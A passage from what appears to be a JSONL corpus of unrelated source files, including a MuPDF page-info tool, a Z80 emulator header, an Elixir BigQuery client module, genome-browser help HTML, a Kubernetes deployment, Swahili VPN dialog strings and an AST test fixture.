= NO_FILE_OPENED;\n\twhile (argidx < argc)\n\t{\n\t\tif (state == NO_FILE_OPENED || !fz_is_page_range(ctx, argv[argidx]))\n\t\t{\n\t\t\tif (state == NO_INFO_GATHERED)\n\t\t\t{\n\t\t\t\tshowpages(ctx, doc, out, \"1-N\");\n\t\t\t}\n\n\t\t\tpdf_drop_document(ctx, doc);\n\n\t\t\tfilename = argv[argidx];\n\t\t\tfz_write_printf(ctx, out, \"%s:\\n\", filename);\n\t\t\tdoc = pdf_open_document(ctx, filename);\n\t\t\tif (pdf_needs_password(ctx, doc))\n\t\t\t\tif (!pdf_authenticate_password(ctx, doc, password))\n\t\t\t\t\tfz_throw(ctx, FZ_ERROR_GENERIC, \"cannot authenticate password: %s\", filename);\n\n\t\t\tstate = NO_INFO_GATHERED;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tret |= showpages(ctx, doc, out, argv[argidx]);\n\t\t\tstate = INFO_SHOWN;\n\t\t}\n\n\t\targidx++;\n\t}\n\n\tif (state == NO_INFO_GATHERED)\n\t\tshowpages(ctx, doc, out, \"1-N\");\n\n\tpdf_drop_document(ctx, doc);\n\n\treturn ret;\n}\n\nint pdfpages_main(int argc, char **argv)\n{\n\tchar *filename = \"\";\n\tchar *password = \"\";\n\tint c;\n\tint ret;\n\tfz_context *ctx;\n\n\twhile ((c = fz_getopt(argc, argv, \"p:\")) != -1)\n\t{\n\t\tswitch (c)\n\t\t{\n\t\tcase 'p': password = fz_optarg; break;\n\t\tdefault:\n\t\t\tinfousage();\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (fz_optind == argc)\n\t\tinfousage();\n\n\tctx = fz_new_context(NULL, NULL, FZ_STORE_UNLIMITED);\n\tif (!ctx)\n\t{\n\t\tfprintf(stderr, \"cannot initialise context\\n\");\n\t\texit(1);\n\t}\n\n\tret = 0;\n\tfz_try(ctx)\n\t\tret = pdfpages_pages(ctx, fz_stdout(ctx), filename, password, &argv[fz_optind], argc-fz_optind);\n\tfz_catch(ctx)\n\t\tret = 1;\n\tfz_drop_context(ctx);\n\treturn ret;\n}\n"} -{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"} -{"text": "/*\n Z80 emulator code derived from Lin Ke-Fong source. Copyright says:\n\n Copyright (c) 2016, 2017 Lin Ke-Fong\n\n This code is free, do whatever you want with it.\n\n 2020 adapted by Fabrizio Di Vittorio for fabgl ESP32 library\n */\n\n\n#pragma once\n\n\n#include \n\n\n\n\n\n\n/* Define this macro if the host processor is big endian. */\n\n/* #define Z80_BIG_ENDIAN */\n\n/* Emulation can be speed up a little bit by emulating only the documented\n * flags.\n */\n\n/* #define Z80_DOCUMENTED_FLAGS_ONLY */\n\n/* HALT, DI, EI, RETI, and RETN instructions can be catched. When such an\n * instruction is catched, the emulator is stopped and the PC register points\n * at the opcode to be executed next. The catched instruction can be determined\n * from the Z80_STATE's status value. Keep in mind that no interrupt can be\n * accepted at the instruction right after a DI or EI on an actual processor.\n */\n\n/*\n #define Z80_CATCH_HALT\n #define Z80_CATCH_DI\n #define Z80_CATCH_EI\n #define Z80_CATCH_RETI\n #define Z80_CATCH_RETN\n */\n\n/* Undefined 0xed prefixed opcodes may be catched, otherwise they are treated\n * like NOP instructions. When one is catched, Z80_STATUS_ED_UNDEFINED is set\n * in Z80_STATE's status member and the PC register points at the 0xed prefix\n * before the undefined opcode.\n */\n\n/* #define Z80_CATCH_ED_UNDEFINED */\n\n/* The emulator cannot be stopped between prefixed opcodes. This can be a\n * problem if there is a long sequence of 0xdd and/or 0xfd prefixes. But if\n * Z80_PREFIX_FAILSAFE is defined, it will always be able to stop after at\n * least numbers_cycles are executed, in which case Z80_STATE's status is set\n * to Z80_STATUS_PREFIX. Note that if the memory where the opcodes are read,\n * has wait states (slow memory), then the additional cycles for a one byte\n * fetch (the non executed prefix) must be substracted. Even if it is safer,\n * most program won't need this feature.\n */\n\n/* #define Z80_PREFIX_FAILSAFE */\n\n/* By defining this macro, the emulator will always fetch the displacement or\n * address of a conditionnal jump or call instruction, even if the condition\n * is false and the fetch can be avoided. Define this macro if you need to\n * account for memory wait states on code read.\n */\n\n/* #define Z80_FALSE_CONDITION_FETCH */\n\n/* It may be possible to overwrite the opcode of the currently executing LDIR,\n * LDDR, INIR, or OTDR instruction. Define this macro if you need to handle\n * these pathological cases.\n */\n\n/* #define Z80_HANDLE_SELF_MODIFYING_CODE */\n\n/* For interrupt mode 2, bit 0 of the 16-bit address to the interrupt vector\n * can be masked to zero. Some documentation states that this bit is forced to\n * zero. For instance, Zilog's application note about interrupts, states that\n * \"only 7 bits are required\" and \"the least significant bit is zero\". Yet,\n * this is quite unclear, even from Zilog's manuals. So this is left as an\n * option.\n */\n\n/* #define Z80_MASK_IM2_VECTOR_ADDRESS */\n\n\n\n\n\n\n/* If Z80_STATE's status is non-zero, the emulation has been stopped for some\n * reason other than emulating the requested number of cycles.\n */\n\nenum {\n\n Z80_STATUS_HALT = 1,\n Z80_STATUS_DI,\n Z80_STATUS_EI,\n Z80_STATUS_RETI,\n Z80_STATUS_RETN,\n Z80_STATUS_ED_UNDEFINED,\n Z80_STATUS_PREFIX\n\n};\n\n\n\n/* The main registers are stored inside Z80_STATE as an union of arrays named\n * registers. They are referenced using indexes. Words are stored in the\n * endianness of the host processor. The alternate set of word registers AF',\n * BC', DE', and HL' is stored in the alternates member of Z80_STATE, as an\n * array using the same ordering.\n */\n\n#ifdef Z80_BIG_ENDIAN\n\n# define Z80_B 0\n# define Z80_C 1\n# define Z80_D 2\n# define Z80_E 3\n# define Z80_H 4\n# define Z80_L 5\n# define Z80_A 6\n# define Z80_F 7\n\n# define Z80_IXH 8\n# define Z80_IXL 9\n# define Z80_IYH 10\n# define Z80_IYL 11\n\n#else\n\n# define Z80_B 1\n# define Z80_C 0\n# define Z80_D 3\n# define Z80_E 2\n# define Z80_H 5\n# define Z80_L 4\n# define Z80_A 7\n# define Z80_F 6\n\n# define Z80_IXH 9\n# define Z80_IXL 8\n# define Z80_IYH 11\n# define Z80_IYL 10\n\n#endif\n\n#define Z80_BC 0\n#define Z80_DE 1\n#define Z80_HL 2\n#define Z80_AF 3\n\n#define Z80_IX 4\n#define Z80_IY 5\n#define Z80_SP 6\n\n\n\n/* Z80's flags. */\n\n#define Z80_S_FLAG_SHIFT 7\n#define Z80_Z_FLAG_SHIFT 6\n#define Z80_Y_FLAG_SHIFT 5\n#define Z80_H_FLAG_SHIFT 4\n#define Z80_X_FLAG_SHIFT 3\n#define Z80_PV_FLAG_SHIFT 2\n#define Z80_N_FLAG_SHIFT 1\n#define Z80_C_FLAG_SHIFT 0\n\n#define Z80_S_FLAG (1 << Z80_S_FLAG_SHIFT)\n#define Z80_Z_FLAG (1 << Z80_Z_FLAG_SHIFT)\n#define Z80_Y_FLAG (1 << Z80_Y_FLAG_SHIFT)\n#define Z80_H_FLAG (1 << Z80_H_FLAG_SHIFT)\n#define Z80_X_FLAG (1 << Z80_X_FLAG_SHIFT)\n#define Z80_PV_FLAG (1 << Z80_PV_FLAG_SHIFT)\n#define Z80_N_FLAG (1 << Z80_N_FLAG_SHIFT)\n#define Z80_C_FLAG (1 << Z80_C_FLAG_SHIFT)\n\n#define Z80_P_FLAG_SHIFT Z80_PV_FLAG_SHIFT\n#define Z80_V_FLAG_SHIFT Z80_PV_FLAG_SHIFT\n#define Z80_P_FLAG Z80_PV_FLAG\n#define Z80_V_FLAG Z80_PV_FLAG\n\n\n\n/* Z80's three interrupt modes. */\n\nenum {\n Z80_INTERRUPT_MODE_0,\n Z80_INTERRUPT_MODE_1,\n Z80_INTERRUPT_MODE_2\n};\n\n\n\nstruct Z80_STATE {\n int status;\n\n union {\n unsigned char byte[14];\n unsigned short word[7];\n } registers;\n\n unsigned short alternates[4];\n\n int i, r, pc, iff1, iff2, im;\n\n /* Register decoding tables. */\n\n void * register_table[16];\n void * dd_register_table[16];\n void * fd_register_table[16];\n};\n\n\n\n// RAM and IO interface\n\nstruct Z80Interface {\n virtual uint8_t readByte(uint16_t addr) = 0;\n virtual void writeByte(uint16_t addr, uint8_t value) = 0;\n virtual uint16_t readWord(uint16_t addr) = 0;\n virtual void writeWord(uint16_t addr, uint16_t value) = 0;\n virtual uint8_t readIO(uint16_t addr) = 0;\n virtual void writeIO(uint16_t addr, uint8_t value) = 0;\n};\n\n\n\n\nclass Z80 {\n\npublic:\n\n Z80(Z80Interface * interface_) : interface(interface_) { reset(); }\n\n /* Initialize processor's state to power-on default. */\n void reset();\n\n /* Trigger an interrupt according to the current interrupt mode and return the\n * number of cycles elapsed to accept it. If maskable interrupts are disabled,\n * this will return zero. In interrupt mode 0, data_on_bus must be a single\n * byte opcode.\n */\n int interrupt(int data_on_bus);\n\n /* Trigger a non maskable interrupt, then return the number of cycles elapsed\n * to accept it.\n */\n int nonMaskableInterrupt();\n\n /* Execute instructions as long as the number of elapsed cycles is smaller than\n * number_cycles, and return the number of cycles emulated. The emulator can be\n * set to stop early on some conditions. The user macros also control the emulation.\n */\n int emulate(int number_cycles);\n\n\n // CPU registers access\n\n uint8_t readRegByte(int reg) { return state.registers.byte[reg]; }\n void writeRegByte(int reg, uint8_t value) { state.registers.byte[reg] = value; }\n\n uint16_t readRegWord(int reg) { return state.registers.word[reg]; }\n void writeRegWord(int reg, uint16_t value) { state.registers.word[reg] = value; }\n\n uint16_t getPC() { return state.pc; }\n void setPC(uint16_t value) { state.pc = value; }\n\n\nprivate:\n\n int intemulate(int opcode, int elapsed_cycles, int number_cycles);\n\n Z80_STATE state;\n Z80Interface * interface;\n\n};\n\n\n\n\n\n\n\n\n\n\n\n\n\n"} -{"text": "/*\n * Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage sun.reflect.generics.scope;\n\nimport java.lang.reflect.TypeVariable;\n\n\npublic interface Scope {\n TypeVariable lookup(String name);\n}\n"} -{"text": "

Description

\n

This track shows locations of Sequence Tagged Sites (STS) \nalong the rat draft assembly. These markers have been mapped using \neither genetic (Rat FHH x ACI F2 Intercross Genetic Map, Rat SHRSP x BN F2 Intercross Genetic Map)\nor radiation hybridization (RH Map 2.2) mapping techniques.

\n

\nAdditional data on the individual maps can be found at the following links:\n

\n\n

By default all genetic map markers are shown as blue; only radiation\nhybrid markers and markers that are neither genetic nor radiation hybrid\nare shown as black; markers that map to more than one position are\nshown in lighter colors. Users can choose a color to highlight a subset\nof markers of interest from the Filter options in STS Markers\nTrack Setting page.\n\n

Using the Filter

\n

The track filter can be used to change the color or include/exclude\na set of map data within the track. This is helpful when many items\nare shown in the track display, especially when only some are relevant\nto the current task. To use the filter:\n

    \n
  • In the pulldown menu, select the map whose data you would like to\nhighlight or exclude in the display. By default, the "All\nGenetic" option is selected.\n
  • Choose the color or display characteristic that will be used to\nhighlight or include/exclude the filtered items. If\n"exclude" is chosen, the browser will not display data from\nthe map selected in the pulldown list. If "include" is\nselected, the browser will display only data from the selected map.\n

\n

When you have finished configuring the filter, click the\nSubmit button.

\n\n\n"} -{"text": "# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# NOTE: This file is auto generated by the elixir code generator program.\n# Do not edit this file manually.\n\ndefmodule GoogleApi.BigQuery.V2.Api.Datasets do\n @moduledoc \"\"\"\n API calls for all endpoints tagged `Datasets`.\n \"\"\"\n\n alias GoogleApi.BigQuery.V2.Connection\n alias GoogleApi.Gax.{Request, Response}\n\n @library_version Mix.Project.config() |> Keyword.get(:version, \"\")\n\n @doc \"\"\"\n Deletes the dataset specified by the datasetId value. Before you can delete a dataset, you must delete all its tables, either manually or by specifying deleteContents. Immediately after deletion, you can create another dataset with the same name.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the dataset being deleted\n * `dataset_id` (*type:* `String.t`) - Dataset ID of dataset being deleted\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `:deleteContents` (*type:* `boolean()`) - If True, delete all the tables in the dataset. If False and the dataset contains tables, the request will fail. Default is False\n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_delete(Tesla.Env.client(), String.t(), String.t(), keyword(), keyword()) ::\n {:ok, nil} | {:ok, Tesla.Env.t()} | {:error, any()}\n def bigquery_datasets_delete(\n connection,\n project_id,\n dataset_id,\n optional_params \\\\ [],\n opts \\\\ []\n ) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query,\n :deleteContents => :query\n }\n\n request =\n Request.new()\n |> Request.method(:delete)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets/{datasetId}\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1),\n \"datasetId\" => URI.encode(dataset_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [decode: false])\n end\n\n @doc \"\"\"\n Returns the dataset specified by datasetID.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the requested dataset\n * `dataset_id` (*type:* `String.t`) - Dataset ID of the requested dataset\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.BigQuery.V2.Model.Dataset{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_get(Tesla.Env.client(), String.t(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.BigQuery.V2.Model.Dataset.t()} | {:ok, Tesla.Env.t()} | {:error, any()}\n def bigquery_datasets_get(connection, project_id, dataset_id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query\n }\n\n request =\n Request.new()\n |> Request.method(:get)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets/{datasetId}\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1),\n \"datasetId\" => URI.encode(dataset_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.BigQuery.V2.Model.Dataset{}])\n end\n\n @doc \"\"\"\n Creates a new empty dataset.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the new dataset\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `:body` (*type:* `GoogleApi.BigQuery.V2.Model.Dataset.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.BigQuery.V2.Model.Dataset{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_insert(Tesla.Env.client(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.BigQuery.V2.Model.Dataset.t()} | {:ok, Tesla.Env.t()} | {:error, any()}\n def bigquery_datasets_insert(connection, project_id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:post)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1)\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.BigQuery.V2.Model.Dataset{}])\n end\n\n @doc \"\"\"\n Lists all datasets in the specified project to which you have been granted the READER dataset role.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the datasets to be listed\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `:all` (*type:* `boolean()`) - Whether to list all datasets, including hidden ones\n * `:filter` (*type:* `String.t`) - An expression for filtering the results of the request by label. The syntax is \"labels.[:]\". Multiple filters can be ANDed together by connecting with a space. Example: \"labels.department:receiving labels.active\". See Filtering datasets using labels for details.\n * `:maxResults` (*type:* `integer()`) - The maximum number of results to return\n * `:pageToken` (*type:* `String.t`) - Page token, returned by a previous call, to request the next page of results\n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.BigQuery.V2.Model.DatasetList{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_list(Tesla.Env.client(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.BigQuery.V2.Model.DatasetList.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def bigquery_datasets_list(connection, project_id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query,\n :all => :query,\n :filter => :query,\n :maxResults => :query,\n :pageToken => :query\n }\n\n request =\n Request.new()\n |> Request.method(:get)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1)\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.BigQuery.V2.Model.DatasetList{}])\n end\n\n @doc \"\"\"\n Updates information in an existing dataset. The update method replaces the entire dataset resource, whereas the patch method only replaces fields that are provided in the submitted dataset resource. This method supports patch semantics.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the dataset being updated\n * `dataset_id` (*type:* `String.t`) - Dataset ID of the dataset being updated\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `:body` (*type:* `GoogleApi.BigQuery.V2.Model.Dataset.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.BigQuery.V2.Model.Dataset{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_patch(Tesla.Env.client(), String.t(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.BigQuery.V2.Model.Dataset.t()} | {:ok, Tesla.Env.t()} | {:error, any()}\n def bigquery_datasets_patch(\n connection,\n project_id,\n dataset_id,\n optional_params \\\\ [],\n opts \\\\ []\n ) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:patch)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets/{datasetId}\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1),\n \"datasetId\" => URI.encode(dataset_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.BigQuery.V2.Model.Dataset{}])\n end\n\n @doc \"\"\"\n Updates information in an existing dataset. The update method replaces the entire dataset resource, whereas the patch method only replaces fields that are provided in the submitted dataset resource.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.BigQuery.V2.Connection.t`) - Connection to server\n * `project_id` (*type:* `String.t`) - Project ID of the dataset being updated\n * `dataset_id` (*type:* `String.t`) - Dataset ID of the dataset being updated\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:alt` (*type:* `String.t`) - Data format for the response.\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - An opaque string that represents a user for quota purposes. Must not exceed 40 characters.\n * `:userIp` (*type:* `String.t`) - Deprecated. Please use quotaUser instead.\n * `:body` (*type:* `GoogleApi.BigQuery.V2.Model.Dataset.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.BigQuery.V2.Model.Dataset{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec bigquery_datasets_update(Tesla.Env.client(), String.t(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.BigQuery.V2.Model.Dataset.t()} | {:ok, Tesla.Env.t()} | {:error, any()}\n def bigquery_datasets_update(\n connection,\n project_id,\n dataset_id,\n optional_params \\\\ [],\n opts \\\\ []\n ) do\n optional_params_config = %{\n :alt => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :userIp => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:put)\n |> Request.url(\"/bigquery/v2/projects/{projectId}/datasets/{datasetId}\", %{\n \"projectId\" => URI.encode(project_id, &URI.char_unreserved?/1),\n \"datasetId\" => URI.encode(dataset_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.BigQuery.V2.Model.Dataset{}])\n end\nend\n"} -{"text": "---\nlayout: pattern\ntitle: Feature Toggle\nfolder: feature-toggle\npermalink: /patterns/feature-toggle/\npumlid: NSZ14G8X30NGLhG0oDrk8XjPd12OvCTjNy_UthpxiAPvIBhUJc37WyZvgdtWp6U6U5i6CTIs9WtDYy5ER_vmEIH6jx8P4BUWoV43lOIHBWMhTnKIjB-gwRFkdFe5\ncategories: Behavioral\ntags:\n - Java\n - Difficulty-Beginner\n---\n\n## Also known as\nFeature Flag\n\n## Intent\nUsed to switch code execution paths based on properties or groupings. Allowing new features to be released, tested\nand rolled out. Allowing switching back to the older feature quickly if needed. It should be noted that this pattern,\ncan easily introduce code complexity. There is also cause for concern that the old feature that the toggle is eventually\ngoing to phase out is never removed, causing redundant code smells and increased maintainability.\n\n![alt text](./etc/feature-toggle.png \"Feature Toggle\")\n\n## Applicability\nUse the Feature Toogle pattern when\n\n* Giving different features to different users.\n* Rolling out a new feature incrementally.\n* Switching between development and production environments.\n\n## Credits\n\n* [Martin Fowler 29 October 2010 (2010-10-29).](http://martinfowler.com/bliki/FeatureToggle.html)"} -{"text": "kind: Deployment\napiVersion: apps/v1beta1\nmetadata:\n name: susi-slackbot\n namespace: slackbot\nspec:\n replicas: 1\n template:\n metadata:\n labels:\n app: susi-slackbot\n spec:\n containers:\n - name: susi-slackbot\n image: fossasia/susi_slackbot:latest-development\n ports:\n - containerPort: 8080\n protocol: TCP\n envFrom:\n - configMapRef:\n name: susi-slackbot\n restartPolicy: Always\n"} -{"text": "\n\n \n \n \n \n \n \n"} -{"text": "\n\n\n\n \"%s inajaribu kuunda muunganisho wa VPN.\"\n \"Kwa kuendelea, unapatia programu kibali cha kuingilia trafiki ya mitandao yote.\"\"USIKUBALI isipokuwa uwe unaamini programu.\"\" La sivyo, utakua katika hatari ya data yako kuathiriwa na programu hasidi.\"\n \"Ninaamini programu hii.\"\n \"VPN imeunganishwa\"\n \"Sanidi\"\n \"Tenganisha\"\n \"Kipindi:\"\n \"Muda:\"\n \"Zilizotumwa:\"\n \"Imepokelewa:\"\n \"baiti %1$s / pakiti %2$s\"\n\n"} -{"text": "{\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"IfStatement\",\n \"test\": {\n \"type\": \"Identifier\",\n \"name\": \"x\",\n \"range\": [\n 4,\n 5\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 4\n },\n \"end\": {\n \"line\": 1,\n \"column\": 5\n }\n }\n },\n \"consequent\": {\n \"type\": \"BlockStatement\",\n \"body\": [\n {\n \"type\": \"ExpressionStatement\",\n \"expression\": {\n \"type\": \"CallExpression\",\n \"callee\": {\n \"type\": \"Identifier\",\n \"name\": \"doThat\",\n \"range\": [\n 9,\n 15\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 9\n },\n \"end\": {\n \"line\": 1,\n \"column\": 15\n }\n }\n },\n \"arguments\": [],\n \"range\": [\n 9,\n 17\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 9\n },\n \"end\": {\n \"line\": 1,\n \"column\": 17\n }\n }\n },\n \"trailingComments\": [\n {\n \"type\": \"Line\",\n \"value\": \" Some comment\",\n \"range\": [\n 18,\n 33\n ],\n \"loc\": {\n \"start\": {\n \"line\": 